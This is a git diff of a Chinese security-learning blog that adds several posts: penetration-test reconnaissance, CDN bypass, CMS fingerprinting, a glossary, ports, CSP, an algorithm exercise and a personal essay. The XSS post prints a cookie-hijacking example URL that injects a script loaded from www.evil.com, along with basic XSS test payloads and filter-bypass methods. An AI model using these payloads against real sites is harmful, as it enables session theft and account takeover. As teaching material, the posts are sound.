文章链接: http://h4m5t.github.io/2021/02/19/%E7%BD%91%E7%AB%99%E8%AF%86%E5%88%AB/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git "a/2021/02/20/\344\277\241\346\201\257\346\224\266\351\233\206/index.html" "b/2021/02/20/\344\277\241\346\201\257\346\224\266\351\233\206/index.html" new file mode 100644 index 000000000..b984e0c22 --- /dev/null +++ "b/2021/02/20/\344\277\241\346\201\257\346\224\266\351\233\206/index.html" @@ -0,0 +1,259 @@ +渗透测试之信息收集 | h4m5t's Blog + + + + + + + + + + + + + + +

渗透测试之信息收集

+

所谓知彼知己,百战不殆。尽可能多的收集目标信息,渗透测试工作越容易。

+
+

1.域名信息

    +
  1. whois查询
  2. +
  3. 备案查询
  4. +
+

2.子域名信息

如果目标网络规模比较大,则主域都是重点防护区域,我们不妨先进入某个子域。

+
    +
  1. 子域名检测工具

    +
  2. +
  3. 在线子域名爆破

    +
  4. +
  5. 搜索引擎

    +

    image-20210221095020308

    +
  6. +
  7. 在线DNS侦察

    +
  8. +
  9. 证书透明度日志查询

    +
  10. +
+

3.敏感信息收集

使用谷歌搜索语法

+

例如:site:edu.cn intext:后台管理

+

image-20210221094604294

+

4.端口信息

常用端口扫描工具:

+
    +
  • Nmap
  • +
  • Masscan
  • +
  • Zmap
  • +
  • 御剑高速扫描
  • +
+

5.指纹识别

image-20210221095526835

+
+

CMS是Content Management System的缩写,意为”内容管理系统”。

+
+

根据网站特征识别出CMS,查找相关漏洞。

+

工具:御剑web指纹识别,WhatWeb,WebRobo.

+

也可以使用在线网站查询CMS指纹信息.

+

6.寻找真实IP

+

CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。

+
+

第一步,判断目标网站是否使用CDN服务.

+

img

+
    +
  • 通过ping,查看域名解析情况
  • +
  • 全国多地ping服务,对比每个地区的结果是否一致,如果都是一样的,说明不存在CDN.
  • +
+

第二步,绕过CDN寻找真实IP

+

image-20210221100509778

+
    +
  • 扫描网站测试文件
  • +
  • 子域名所在IP段
  • +
  • 国外访问
  • +
  • 查询域名解析记录
  • +
  • APP抓包
  • +
+

7.收集敏感目录文件

探测Web目录结构和隐藏的敏感文件.

+

常用工具:

+
    +
  • DirBuster
  • +
  • 御剑后台扫描
  • +
  • wwwscan
  • +
  • spinder
  • +
  • weakfilescan
  • +
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/02/20/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git "a/2021/02/23/\346\204\237\346\202\237/index.html" "b/2021/02/23/\346\204\237\346\202\237/index.html" new file mode 100644 index 000000000..d557067d0 --- /dev/null +++ "b/2021/02/23/\346\204\237\346\202\237/index.html" @@ -0,0 +1,203 @@ +2021,要加油哇 | h4m5t's Blog + + + + + + + + + + + + +

2021,要加油哇

开博以来的第一篇感悟。时常回顾一下过去,看看来时的路,又不断为未来焦虑。回味和展望中,心酸后悔又期待无比。

+

认识了很多大佬,“鱼皮”,“编程指北”,都是年龄相近,却又那么遥远的人。我在群里说“要是大一就认识鱼皮,就好了”。跟随前人走过的路,总比自己摸索要好一些吧。

+

大学的课程即将上完,回首一看,发现自己和别人真的有很大的差距。洛佳在图书馆敲rust飞快,对面大佬夜晚1点练习口语,Cyrus在我这个年龄已经去大厂工作了。

+

而我呢,步步艰难,如履薄冰,虽然能力一般,但还是向前走着。

+

另外,也在纠结考研和就业的事情。其实也想多读几年书,在学校多呆几年,这么好的新校区,那么大的图书馆,那么好的单人间。可是,备考一年,读研三年,四年青春,为一个学位证值得吗?我不知道。但总会有人选择不同的路,走下去就好了。就像当时选文理一样,又有什么好纠结的呢。

+

以前总是迷茫,不知道大学要干什么,学那么枯燥的东西有什么用。大一面试大创,学长学姐问我:未来打算读研吗?我说,读研是什么呢?保研是什么呢?真的不知道啊,只知道自己考上了一个别人眼中的好大学,沉浸在自我满足中,便开始享受大学生活。

+

现在,也该为未来做出一些打算了吧。

+

Cyrus,yd0ng,a2u13,很多前辈,都直接就业了。当然,他们都很优秀。

+

时间紧迫,春招暑期实习也已经开始了。

+

希望这学期能多做几个项目,多挖几个漏洞,多刷几个算法题,多看一些安全文章。

+

2021,要加油哇。

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/02/23/%E6%84%9F%E6%82%9F/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git "a/2021/02/24/\347\256\227\346\263\225/index.html" "b/2021/02/24/\347\256\227\346\263\225/index.html" new file mode 100644 index 000000000..2a201ad74 --- /dev/null +++ "b/2021/02/24/\347\256\227\346\263\225/index.html" @@ -0,0 +1,214 @@ +PAT-1010 | h4m5t's Blog + + + + + + + + + + + + + + +

PAT-1010

+

遇到一个看似简单,却很难得分的题目,记录一下。

+
+

原题链接:PAT-Basic Level-1010

+

题目(分值:25)

设计函数求一元多项式的导数。$x^n$的导数为$n x^{n-1}$

+

输入格式:

以指数递降方式输入多项式非零项系数和指数(绝对值均为不超过 1000 的整数)。数字间以空格分隔。

+

输出格式:

以与输入相同的格式输出导数多项式非零项的系数和指数。数字间以空格分隔,但结尾不能有多余空格。注意“零多项式”的指数和系数都是 0,但是表示为 0 0

+

输入样例:

1
3 4 -5 2 6 1 -2 0
+ +

输出样例:

1
12 3 -10 1 6 0
+ + + +

解答

    +
  • “零多项式”,求导后仍为“零多项式”,此时输出为:0 0
  • +
  • 非“零多项式”,求导后变为”零多项式“,此时输出为:0 0
  • +
  • 非“零多项式”,求导后不为”零多项式“,此时正常输出求导后的系数和指数,但不输出0 0
  • +
+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
a=list(map(int,input().split()))
res=[]
length=len(a)

for i in range(0,length,2):
x=a[i]*a[i+1]
y=a[i+1]-1
if x:
res.append(x)
res.append(y)
if not len(res):
print("0 0")
else:
res=map(str,res)
print(' '.join(res))
+ +
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/02/24/%E7%AE%97%E6%B3%95/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/2021/02/25/XSS/index.html b/2021/02/25/XSS/index.html new file mode 100644 index 000000000..53e2d7f55 --- /dev/null +++ b/2021/02/25/XSS/index.html @@ -0,0 +1,246 @@ +浅谈XSS漏洞 | h4m5t's Blog + + + + + + + + + + + + + + +

浅谈XSS漏洞

XSS漏洞

xss 跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)缩写混淆,所以将跨站脚本攻击缩写为xss。

+

漏洞原理

xss就是攻击者在web页面插入恶意的Script代码,当用户浏览该页时,嵌入其中web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。

+

分类

反射型XSS(非持久型)

把用户输入的数据“反射”给浏览器(诱使用户点击恶意链接)

+

将包含XSS代码的恶意链接发送给目标用户,当目标用户访问该链接时,服务器接受该目标用户的请求并处理,然后把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本,就会触发XSS漏洞。

+

存储型XSS(持久型)

把输入数据“存储”在服务器。有很强的稳定性。

+

攻击者在发帖的过程中,将恶意脚本连同正常信息注入帖子内容,被服务器存储下来,恶意脚本也永久地被存放在服务器。其他用户浏览这个被注入了恶意脚本的帖子,恶意脚本就会在他们的浏览器中执行。

+

DOM Based XSS(特殊类型的反射XSS)

不需要经过后端,它是在浏览器解析渲染服务器源码的时候产生的,所以我们在抓包的过程中是看不到dom型xss有关的内容的(WAF无法防护)

+

通过修改网页节点形成XSS。基于DOM文档对象模型的一种漏洞。

+

DOM-based XSS漏洞是基于文档对象模型Document Objeet Model 的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态的访问或者更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些事用户可以操作的.客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格的确认,就会产生DOM-based XSS漏洞。

+

XSS的利用

XSS不只是弹窗,弹窗只是测试XSS的存在性。

+

payload:通过插入javascript代码,控制浏览器,完成各种具体功能.

+

cookie劫持

通过读取浏览器的cookie对象,攻击者可以不通过密码,直接登陆进入用户的账户.

+

可以先加载一个远程脚本,例如:

+
1
http://www.a.com/test.htm/?abc="><script src=http://www.evil.com/evil.js></script>
+ + + +

构造GET与POST请求

XSS钓鱼

为了窃取密码,利用javascript伪造一个登录框,用户输入之后,密码被发送到黑客的服务器上.

+

XSS验证码绕过

通过读取页面内容,将验证码的图片url发送到远程服务器,攻击者在远程服务器接受当前验证码,并将验证码的值返回给当前XSS payload,从而绕过验证码.

+

识别用户的浏览器

通过XSS读取浏览器的UserAgent对象.

+

但UserAgent可以伪造,可以通过另一种方法,更准确的识别用户浏览器版本.

+

分辨浏览器不同版本之间的差异,从而识别成功.

+

识别用户安装的软件

通过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件.

+
1
2
3
4
5
6
try{
var Obj=new ActiveXObject('XunLeiBHO.ThunderIEhelper');
}
catch(e){
//异常
}
+ +

收集常见软件的classid,扫描用户电脑中安装的软件列表.

+

识别浏览器安装的插件和扩展

判断用户是否访问某个网站

style的visited属性,访问过的链接,颜色会变化.

+

获取真实IP

借助第三方软件,比如客户端安装了Java(JRE)环境,那么可以通过调用JavaApplet接口获取客户端本地IP

+

蠕虫

XSS蠕虫

+

条件:用户之间发生交互行为的页面,如果存在存储型XSS,则容易发起XSS Worm攻击.

+

XSS构造技巧

常用测试语句

1
2
3
4
5
6
7
<script>alert(1)<script/>

<img src=x oneorrer=alert(1)>

<svg onload=alert(1)>

<s herf=javascript:alert(1)>
+ +

绕过方式

    +
  • JS编码
  • +
  • HTML编码
  • +
  • URL编码
  • +
  • 长度绕过
  • +
  • 标签绕过(标签闭合,标签优先性)
  • +
  • window.name利用
  • +
  • Flash XSS
  • +
  • 利用Javascript开发框架漏洞
  • +
  • 利用浏览器差异
  • +
  • 关键字、函数
  • +
+

防护方法

    +
  • 过滤输入的数据,非法字符
  • +
  • 对数据进行编码转换
  • +
  • 添加HttpOnly
  • +
  • 输入合法性检查
  • +
  • 白名单过滤标签
  • +
  • DOM XSS防御
  • +
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/02/25/XSS/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
\ No newline at end of file diff --git "a/2021/03/04/\345\220\215\350\257\215\350\247\243\351\207\212/index.html" "b/2021/03/04/\345\220\215\350\257\215\350\247\243\351\207\212/index.html" new file mode 100644 index 000000000..777af6e10 --- /dev/null +++ "b/2021/03/04/\345\220\215\350\257\215\350\247\243\351\207\212/index.html" @@ -0,0 +1,253 @@ +常见名词解释 | h4m5t's Blog + + + + + + + + + + + + +

常见名词解释

    +
  • A记录:指定主机名(或域名)对应的IP地址记录

    +
  • +
  • cname:别名记录。这种记录允许您将多个名字映射到同一台计算机。

    +
  • +
  • 谷歌语法

    +
      +
    • site:baidu.com life
    • +
    • filetype:pdf
    • +
    • intext:寻找正文中包含有关键字的网页。
    • +
    • intitle:寻找标题中包含有关键字的网页
    • +
    • inurl:返回url中含有关键词的网页
    • +
    • inurl:/admin/login.php(查找管理员登陆)
    • +
    +
  • +
  • SRC:security response center(安全应急响应中心)

    +
  • +
  • CMS:内容管理系统。例如:wordpress

    +
  • +
  • CMS指纹识别:网站使用的开源程序源码系统,可以直接利用其漏洞

    +
  • +
  • 提权:提高自己在服务器中的权限,主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升WEBSHELL权限以夺得该服务器权限。

    +
  • +
  • XML:可扩展标记语言,XML并非是用来取代HTML的。HTML着重如何描述将文件显示在浏览器中,而XML与SGML相近,它着重描述如何将数据以结构化方式表示。

    +
  • +
  • webshell:就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

    +
  • +
  • 代码审计:顾名思义就是检查源代码中的安全缺陷,检查程序源代码是否存在安全隐患,或者有编码不规范的地方,通过自动化工具或者人工审查的方式,对程序源代码逐条进行检查和分析,发现这些源代码缺陷引发的安全漏洞,并提供代码修订措施和建议。

    +
  • +
  • Redis:Key-Value数据库

    +
  • +
  • 域名劫持:通过攻击域名解析服务器(DNS),或伪造域名解析服务器(DNS)的方法,把目标网站域名解析到错误的IP地址从而实现用户无法访问目标网站的目的或者蓄意或恶意要求用户访问指定IP地址(网站)的目的。

    +
  • +
  • 社工库:利用社会工程学攻击时积累的各方数据的数据库

    +
  • +
  • 红队:红队(Red Team)即安全团队最大化模拟真实世界里面的入侵事件,采用入侵者的战术、技术、流程,以此来检验蓝队(Blue Team)的威胁检测和应急响应的机制和效率,最终帮助企业真正提高整个安全建设、安全运营、安全管理等能力。

    +
  • +
  • 蓝队:(甲方)为公司的业务提供积极防御,构建企业安全架构等

    +
  • +
  • 中间件是一类连接软件组件和应用的计算机软件,它包括一组服务。以便于运行在一台或多台机器上的多个软件通过网络进行交互。该技术所提供的互操作性,推动了一致分布式体系架构的演进,该架构通常用于支持并简化那些复杂的分布式应用程序,它包括web服务器、事务监控器和消息队列软件。 中间件(middleware)是基础软件的一大类,属于可复用软件的范畴。顾名思义,中间件处于操作系统软件与用户的应用软件的中间。

    +
  • +
  • JSON:是一种轻量级的数据交换格式。采用完全独立于编程语言的文本格式来存储和表示数据。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言。 易于人阅读和编写,同时也易于机器解析和生成,并有效地提升网络传输效率。

    +
  • +
  • SEO:搜索引擎优化。是一种方式:利用搜索引擎的规则提高网站在有关搜索引擎内的排名。目的是让其在行业内占据领先地位,获得收益。

    +
  • +
  • DevSecOps:是指先在应用程序开发的生命周期中引入安全性,从而尽可能地减少漏洞并使安全性更接近IT和业务目标。

    +
  • +
  • DevOps:是一组过程、方法与系统的统称,用于促进开发(软件工程)、技术运营和质量保障(QA)部门之间的沟通、协作与整合。

    +
  • +
  • xpath:即为XML路径语言(XML Path Language),它是一种用来确定XML文档中某部分位置的计算机语言

    +
  • +
  • cookie:Cookie是网站为了辨别用户身份而储存在用户本地终端上的数据(通常经过加密)。因为HTTP本身是无状态协议,即服务器不知道用户上一次的请求的内容和次数,这严重阻碍了交互式Web应用程序的实现。在典型的网上购物场景中,用户浏览了几个页面,买了一盒饼干和两瓶饮料。最后结帐时,由于HTTP的无状态性,不通过额外的手段,服务器并不知道用户到底买了什么。 所以Cookie就是用来绕开HTTP的无状态性的“额外手段”之一。服务器可以设置或读取Cookie中包含信息,借此维护用户跟服务器会话中的状态。

    +
  • +
  • 短网址(Short URL) ,顾名思义就是在形式上比较短的网址。通常用的是asp或者php转向,在Web 2.0的今天,不得不说,这是一个潮流。目前已经有许多类似服务,借助短网址您可以用简短的网址替代原来冗长的网址,让使用者可以更容易的分享链接。

    +
  • +
  • shell:客户端连接服务器端,想要获取服务器端的shell,那么称为正向shell,如果是客户端连接服务器,服务器端想要获取客户端的shell,那么称为反向shell

    +
  • +
  • 客户端脚本:

    +

    当客户端通过客户浏览器发送HTTP请求时,web服务器将HTML文档部分和脚本部分返回给客户端浏览器,在客户端浏览器中解释执行并及时更新页面,脚本处理工作全部在客户端浏览器执行完成。JavaScript一般是用在客户端(浏览器)上执行的脚本语言。

    +
  • +
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/03/04/%E5%90%8D%E8%AF%8D%E8%A7%A3%E9%87%8A/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git a/2021/03/05/CMS/index.html b/2021/03/05/CMS/index.html new file mode 100644 index 000000000..117520c4d --- /dev/null +++ b/2021/03/05/CMS/index.html @@ -0,0 +1,260 @@ +CMS指纹识别 | h4m5t's Blog + + + + + + + + + + + + +

CMS指纹识别

1.什么是CMS

内容管理系统(英语:content management system,缩写为 CMS)是指在一个合作模式下,用于管理工作流程的一套制度。该系统可应用于手工操作中,也可以应用到电脑或网络里。作为一种中央储存器(central repository),内容管理系统可将相关内容集中储存并具有群组管理、版本控制等功能。版本控制是内容管理系统的一个主要优势。

+

内容管理系统在物品或文案或数据的存储、掌管、修订(盘存)、语用充实、文档发布等方面有着广泛的应用。现在流行的开源CMS系统有WordPress、Joomla!、Drupal、Xoops、CmsTop等。

+

2.为什么要识别CMS

在web渗透过程中,Web指纹识别是信息收集环节中一个比较重要的步骤,通过一些开源的工具、平台或者手工检测CMS系统是公开的CMS程序还是二次开发至关重要,能准确的获取CMS类型、Web服务组件类型及版本信息可以帮助安全工程师快速有效的去验证已知漏洞。对目标渗透测试过程中,目标的cms是十分重要的信息,有了目标的cms,就可以利用相关bug进行测试,进行代码审计等。

+

在指纹识别的学习过程中,有很多开源的工具和指纹库,如fofa、WhatWeb、w11scan、WebEye

+

3.识别方式

    +
  1. 网站特有文件
  2. +
+

如/templets/default/style/dedecms.css—dedecms

+
    +
  1. 网站独有文件的md5
  2. +
+

如favicon.ico,但是该文件可以被修改导致不准确。

+
    +
  1. 网站文件命名规则

    +
  2. +
  3. 返回头的关键字

    +
  4. +
  5. 网页关键字

    +
  6. +
+

如/data/sessions/index.html——dedecms

+
    +
  1. Url特征

    +
  2. +
  3. Meta特征

    +
  4. +
  5. Script特征

    +
  6. +
  7. robots.txt

    +
  8. +
  9. 网站路径特征

    +
  10. +
  11. 网站静态资源

    +
  12. +
  13. 爬虫网站目录信息

    +
  14. +
+

相对比较准确,但是可能有反爬。

+
    +
  1. 在线网站
  2. +
+

指纹实例

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
{
"url": "/install/",
"re": "aspcms",
"name": "AspCMS",
"md5": ""
},
{
"url": "/about/_notes/dwsync.xml",
"re": "aspcms",
"name": "AspCMS",
"md5": ""
},
{
"url": "/admin/_Style/_notes/dwsync.xml",
"re": "aspcms",
"name": "AspCMS",
"md5": ""
},
{
"url": "/apply/_notes/dwsync.xml",
"re": "aspcms",
"name": "AspCMS",
"md5": ""
},
{
"url": "/tpl/green/common/images/notebg.jpg",
"re": "",
"name": "自动发卡平台",
"md5": "690f337298c331f217c0407cc11620e9"
},
{
"url": "/images/download.png",
"re": "",
"name": "全程oa",
"md5": "9921660baaf9e0b3b747266eb5af880f"
},
{
"url": "/kindeditor/license.txt",
"re": "",
"name": "T-Site建站系统",
"md5": "b0d181292c99cf9bb2ae9166dd3a0239"
},
{
"url": "/public/ico/favicon.png",
"re": "",
"name": "悟空CRM",
"md5": "834089ffa1cd3a27b920a335d7c067d7"
},
{
"url": "/public/js/php/file_manager_json.php",
"re": "",
"name": "悟空CRM",
"md5": "c64fd0278d72826eb9041773efa1f587"
},
{
"url": "/plugins/weathermap/images/exclamation.png",
"re": "",
"name": "CactiEZ插件",
"md5": "2e25cb083312b0eabfa378a89b07cd03"
}
+ + + +

4.指纹识别的对象

1、CMS信息:比如大汉CMS、织梦、帝国CMS、phpcms、ecshop等;

+

2、前端技术:比如HTML5、jquery、bootstrap、pure、ace等;

+

3、Web服务器:比如Apache、lighttpd, Nginx, IIS等;

+

4、应用服务器:比如Tomcat、Jboss、weblogic、websphere等;

+

5、开发语言:比如PHP、Java、Ruby、Python、C#等;

+

6、操作系统信息:比如linux、win2k8、win7、kali、centos等;

+

7、CDN信息:是否使用CDN,如cloudflare、360cdn、365cyd、yunjiasu等;

+

8、WAF信息:是否使用waf,如Topsec、Jiasule、Yundun等;

+

9、IP及域名信息:IP和域名注册信息、服务商信息等;

+

10、端口信息:有些软件或平台还会探测服务器开放的常见端口。

+

5.识别工具

WhatWeb(推荐指数★★★★★)

+

地址:https://github.com/urbanadventurer/WhatWeb

+

此工具kali自带,使用方法:

+

whatweb www.example.com 即可,也可以加参数-v显示更详细的信息。

+

Wapplyzer(推荐指数★★★★)

+

Wappalyzer可以识别网站上的技术,包括内容管理系统,电子商务平台,JavaScript框架,分析工具,打包工具等等。

+

可以在谷歌商店直接下载扩展程序,使用很方便。

+

image-20210306221521620

+

6.在线识别网站

1.http://whatweb.bugscaner.com/look/

+

2.https://pentest.gdpcisa.org/whatcms

+

3.https://www.yunsee.cn/(云悉指纹识别,强烈推荐)

+

7.结语

指纹识别是渗透测试信息收集中很重要的一部分,对目标渗透测试过程中,目标的cms是十分重要的信息,有了目标的cms,就可以利用相关bug进行测试,进行代码审计等。很多安全小白学了很久,却依然挖不到洞,一方面是技术还不到位,另一方面是信息收集没做好。所以要明白信息收集的重要性

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/03/05/CMS/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git "a/2021/03/06/\347\253\257\345\217\243/index.html" "b/2021/03/06/\347\253\257\345\217\243/index.html" new file mode 100644 index 000000000..d4e3a4752 --- /dev/null +++ "b/2021/03/06/\347\253\257\345\217\243/index.html" @@ -0,0 +1,265 @@ +端口服务总结 | h4m5t's Blog + + + + + + + + + + + + +

端口服务总结

+

总结一下常见服务器端口服务

+
+

详细列表:
维基百科TCP/UDP端口列表

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
端口服务说明
21FTPFTP 服务器所开放的端口,用于上传、下载
22SSH22 端口就是 ssh 端口,用于通过命令行模式远程连接 Linux 系统服务器
25SMTPSMTP 服务器所开放的端口,用于发送邮件
80HTTP用于网站服务例如 IIS、Apache、Nginx 等提供对外访问
110POP3110 端口是为 POP3(邮件协议 3)服务开放的
137/138/139NETBIOS其中 137、138 是 UDP 端口,当通过网上邻居传输文件时用这个端口。而 139 端口:通过这个端口进入的连接试图获得 NetBIOS/SMB 服务。这个协议被用于 windows 文件和打印机共享和 SAMBA
143IMAP143 端口主要是用于“Internet Message AccessProtocol”v2(Internet 消息访问协议,简称 IMAP),和 POP3 一样,是用于电子邮件的接收的协议
443HTTPS网页浏览端口,能提供加密和通过安全端口传输的另一种 HTTP
1433SQL Server1433 端口,是 SQL Server 默认的端口,SQL Server 服务使用两个端口:TCP-1433、UDP-1434。其中 1433 用于供 SQL Server 对外提供服务,1434 用于向请求者返回 SQL Server 使用了哪个 TCP/IP 端口
3306MySQL3306 端口,是 MySQL 数据库的默认端口,用于 MySQL 对外提供服务
3389Windows Server Remote Desktop Services3389 端口是 Windows 远程桌面的服务端口,可以通过这个端口,用 “远程桌面” 等连接工具来连接到远程的服务器
8080代理端口8080 端口同 80 端口,是被用于 WWW 代理服务的,可以实现网页浏览,经常在访问某个网站或使用代理服务器的时候,会加上 “:8080” 端口号。另外 Apache Tomcat web server 安装后,默认的服务端口就是 8080
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/03/06/%E7%AB%AF%E5%8F%A3/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git a/2021/03/07/CSP/index.html b/2021/03/07/CSP/index.html new file mode 100644 index 000000000..fcea6aa5a --- /dev/null +++ b/2021/03/07/CSP/index.html @@ -0,0 +1,207 @@ +CSP内容安全策略 | h4m5t's Blog + + + + + + + + + + + + +

CSP内容安全策略

CSP介绍

+

内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本攻击(XSS) 和数据注入等攻击。

+

这些攻击可用于实现从数据窃取到网站破坏或作为恶意软件分发版本等用途。内容安全策略在现代浏览器中已经包含,使用的是 W3C CSP 1.0 标准中描述的 Content-Security-Policy 头部和指令。

+

CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。

+

CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。

+
那么如何应用?

CSP 可以由两种方式指定:HTTP Header 和 HTML。HTTP 是在 HTTP 由增加 Header 来指定,而 HTML 级别则由 Meta 标签指定。

+

CSP 有两类:Content-Security-Policy 和 Content-Security-Policy-Report-Only。(大小写无关)

+
1
2
3
HTTP header :
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略
+ +

HTTP Content-Security-Policy 头可以指定一个或多个资源是安全的,而Content-Security-Policy-Report-Only则是允许服务器检查(非强制)一个策略。多个头的策略定义由优先采用最先定义的。

+
1
2
3
HTML Meta :
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">
+ +

Meta 标签与 HTTP 头只是行式不同而作用是一致的。与 HTTP 头一样,优先采用最先定义的策略。如果 HTTP 头与 Meta 定义同时存在,则优先采用 HTTP 中的定义。

+

如果用户浏览器已经为当前文档执行了一个 CSP 的策略,则会跳过 Meta 的定义。如果 META 标签缺少 content 属性也同样会跳过。

+

针对开发者草案中特别的提示一点:为了使用策略生效,应该将 Meta 元素头放在开始位置,以防止提高人为的 CSP 策略注入。

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/03/07/CSP/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git a/2021/03/08/CDN/index.html b/2021/03/08/CDN/index.html new file mode 100644 index 000000000..d91b4b8b4 --- /dev/null +++ b/2021/03/08/CDN/index.html @@ -0,0 +1,214 @@ +CDN的绕过 | h4m5t's Blog + + + + + + + + + + + + +

CDN的绕过

+

CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。

+
+

第一步,判断目标网站是否使用CDN服务.

+

img

+
    +
  • 通过ping,查看域名解析情况
  • +
  • 全国多地ping服务,对比每个地区的结果是否一致,如果都是一样的,说明不存在CDN.
  • +
+

第二步,绕过CDN寻找真实IP

+

image-20210221100509778

+
    +
  • 扫描网站测试文件
  • +
  • 子域名所在IP段
  • +
  • 国外访问
  • +
  • 查询域名历史解析记录
  • +
  • 不同DNS域名解析(nslookup www.example.com 8.8.8.8)
  • +
  • 敏感文件泄露
  • +
  • 邮箱反弹IP地址
  • +
  • APP抓包
  • +
+

image-20210309201255404

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/03/08/CDN/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git "a/2021/03/09/\345\217\202\346\225\260/index.html" "b/2021/03/09/\345\217\202\346\225\260/index.html" new file mode 100644 index 000000000..04833b97a --- /dev/null +++ "b/2021/03/09/\345\217\202\346\225\260/index.html" @@ -0,0 +1,205 @@ +Python命令行解析Argparse | h4m5t's Blog + + + + + + + + + + + + +

Python命令行解析Argparse

1
2
3
import argparse
parser = argparse.ArgumentParser()
parser.parse_args()
+ +

argparse模块还会自动生成帮助和使用消息,并在用户为程序提供无效参数时发出错误。

+

default:没有设置值情况下的默认参数

+

required: 表示这个参数是否一定需要设置

+

type:参数类型

+

默认的参数类型是str类型,如果你的程序需要一个整数或者布尔型参数,你需要设置type=inttype=bool
